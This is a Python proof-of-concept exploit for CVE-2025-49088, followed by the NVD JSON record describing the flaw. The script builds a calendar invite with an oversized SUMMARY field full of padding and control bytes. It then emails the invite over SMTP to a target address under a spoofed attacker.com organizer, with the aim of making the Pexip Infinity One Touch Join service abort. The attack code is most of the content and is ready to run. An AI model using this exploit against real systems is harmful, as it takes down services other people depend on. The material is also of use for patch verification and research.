CVE-2025-49088

#!/usr/bin/env python3 """ CVE-2025-49088 PoC - Pexip Infinity OTJ Service DoS This PoC demonstrates sending a crafted calendar invite to trigger improper input validation in Pexip Infinity OTJ service. Note: This is for educational and authorized testing purposes only. """ import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from datetime import datetime, timedelta def create_crafted_calendar_invite(): """Generate a crafted iCalendar invite with malicious payload""" # Start time: tomorrow start_time = datetime.now() + timedelta(days=1) end_time = start_time + timedelta(hours=1) # Format for iCalendar (YYYYMMDDTHHMMSSZ) dtstart = start_time.strftime('%Y%m%dT%H%M%S') dtend = end_time.strftime('%Y%m%dT%H%M%S') uid = f"exploit-{datetime.now().strftime('%Y%m%d%H%M%S')}@attacker.com" # Crafted iCalendar with malicious payload in SUMMARY field # This payload exploits improper input validation crafted_payload = "A" * 10000 + "\n" + "B" * 10000 # Oversized field ical_content = f"""BEGIN:VCALENDAR VERSION:2.0 PRODID:-//Pexip//OTJ Exploit//EN METHOD:REQUEST BEGIN:VEVENT UID:{uid} DTSTAMP:{datetime.now().strftime('%Y%m%dT%H%M%S')}Z DTSTART:{dtstart} DTEND:{dtend} SUMMARY:{crafted_payload} DESCRIPTION:Test meeting with crafted payload for CVE-2025-49088\n\n\x00\x01\x02 ORGANIZER:mailto:[email protected] ATTENDEE;CN=Attacker;ROLE=REQ-PARTICIPANT:mailto:[email protected] END:VEVENT END:VCALENDAR""" return ical_content def send_crafted_invite(target_email, smtp_server='localhost', smtp_port=25): """Send the crafted calendar invite via email""" ical_content = create_crafted_calendar_invite() msg = MIMEMultipart('mixed') msg['From'] = '[email protected]' msg['To'] = target_email msg['Subject'] = 'Meeting Invitation - Urgent Action Required' # Attach the crafted iCalendar calendar_part = MIMEText(ical_content, 'calendar', 'utf-8') calendar_part.add_header('Content-Disposition', 'attachment', filename='meeting.ics') msg.attach(calendar_part) try: with smtplib.SMTP(smtp_server, smtp_port) as server: server.send_message(msg) print(f"[+] Crafted calendar invite sent to {target_email}") return True except Exception as e: print(f"[-] Failed to send: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_email> [smtp_server] [smtp_port]") sys.exit(1) target = sys.argv[1] smtp = sys.argv[2] if len(sys.argv) > 2 else 'localhost' port = int(sys.argv[3]) if len(sys.argv) > 3 else 25 send_crafted_invite(target, smtp, port)

{"cve": {"id": "CVE-2025-49088", "sourceIdentifier": "[email protected]", "published": "2025-12-25T05:16:07.420", "lastModified": "2026-01-05T19:31:32.783", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pexip Infinity 32.0 through 37.1 before 37.2, in certain configurations of OTJ (One Touch Join) for Teams SIP Guest Join, has Improper Input Validation in the OTJ service, allowing a remote attacker to trigger a software abort via a crafted calendar invite, leading to a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-617"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pexip:pexip_infinity:*:*:*:*:*:*:*:*", "versionStartIncluding": "32.0", "versionEndExcluding": "37.2", "matchCriteriaId": "631F732D-7D98-499E-B1C9-FF697FF83348"}]}]}], "references": [{"url": "https://docs.pexip.com/admin/security_bulletins.htm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}